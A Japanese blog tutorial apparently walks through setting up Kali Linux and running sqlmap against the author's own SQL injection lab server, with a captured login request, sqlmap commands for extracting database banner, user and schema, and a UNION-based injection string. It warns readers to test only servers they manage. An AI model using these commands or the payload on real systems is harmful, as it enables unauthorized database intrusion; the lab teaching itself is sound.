さてsqlmapを実施する前にセキュリティで使用するツール類が詰まったOS「Kali Linux」を作成しましょう!
手順は簡単です。Kali LinuxのVM ImageをダウンロードしてVMwereに入れるだけです。
詳細は以下を見て頂くのがわかりやすいかと思います。
VMwareを使ってKali Linux 2017.2をインストール
VMwereだと、特に設定しなくてもNatを選択して入れば、前回作成したSQLiの検証環境と同じセグメントになっていると思います。
例:Kali Linux:192.168.70.130、SQLi検証環境:192.168.70.131とこんな具合に!
環境説明
実際のNW構成は以下のようなになっています。
Kali Linux(192.168.70.130)からSQLiが存在するサーバ(192.168.70.131)に対してsqlmapを仕掛けます。
sqlmap実施前の下準備
まずはホストPCからアクセスしてみましょう!
なお、今回はブラウザとWebサーバの間にローカルプロキシツールである「burp」を挟んでいます。
※burpの使用方法は今度解説します。
ブラウザから対象(http://192.168.70.131/index.html)にアクセスし、ID:test、PW:testと入力します。
するとburpには以下のようにリクエストとレスポンスのログが記録されました。
このうちのリクエストのログをKaliLinuxに保存します。
$ nano test.txt #適当なテキストを作成、編集 #以下を張り付けてCtrl+oで保存 POST http://192.168.70.131/db.php HTTP/1.1 Host: 192.168.70.131 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ja,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.70.131/index.html Content-Type: application/x-www-form-urlencoded Content-Length: 22 Connection: close Upgrade-Insecure-Requests: 1 uid=test&password=test
さて準備は完了しました。
早速sqlmapを実行してみましょう!
sqlmap実行!
なお今回は私がよく検査とかで実施する方法を使用します。やり方は色々ありますので、皆さんやりやすい方法で実施していただければと思います。
$ sqlmap -r test.txt -p uid #-rで先ほど作成したテキストを指定、-pで検査するパラメータ「uid」を指定しています。 #(SQLiは両方のパラメータで存在しますが、今回はパラメータを絞っています。)
以下の感じでスタートします。途中選択が入りますが、全部エンターを押して貰えればで大丈夫です。
バンバン検査が進みます!
少し経つと以下のように結果が出力されます。
今回の対象では3つのタイプのSQLiが検出されたことがわかります。
※いわゆるブラインドSQLインジェクションというやつです。
※sleeepコマンドが有効なSQLインジェクションです。時間差分で検知します。
※UNIONが有効なSQLインジェクションです。

なので、以下のように入力した際は「1111」の間にDBのユーザ名が表示されます。
' UNION ALL ' UNION ALL SELECT NULL,NULL,CONCAT(1111,user(),1111)-- sRWR&password=test ※データベースのユーザ名を表示させる。
このまま手作業でも情報を取得できるのですが、sqlmapでは自動でやってくれますので、お任せしちゃいましょう!
$ sqlmap -r test.txt -p uid -b #データベースのバナー情報の取得「-b」 $ sqlmap -r test.txt -p uid --current-user #データベースの接続ユーザ情報の取得「--current-user」 $ sqlmap -r test.txt -p uid --current-db #接続先データベースの取得「--current-db」
すると以下の感じで結果が表示されます。以下は接続先データベースの情報を取得した際の画像です。
こんな形で情報を取得することができます。以下のコマンドで詳細なオプションを確認することができますので、色々試してみてください。(私も全部試したことないです。)
$ sqlmap -hh #詳細なオプションを表示
最後に
次回は実際に以下の勉強会で話をしたログについて、やっていきます。
[秋葉原]第17回ゼロから始めるセキュリティ入門 勉強会(発表・LT大歓迎)
なお、記事の冒頭でも触れたとおり、自分の管理しているサーバに対してのみで検証してください。
※管理外のサーバに対して実施した場合は犯罪になります。
またレンタルサーバ等に対しても許可なしにやってはいけません。レンタルサーバに対し診断等を行う際は各レンタルサーバに注意事項があると思いますので、それに従って申請を行ってから実施してください。
質問や不明点等あれば、コメントやツイッター等でご連絡頂ければ幸いです。
コメント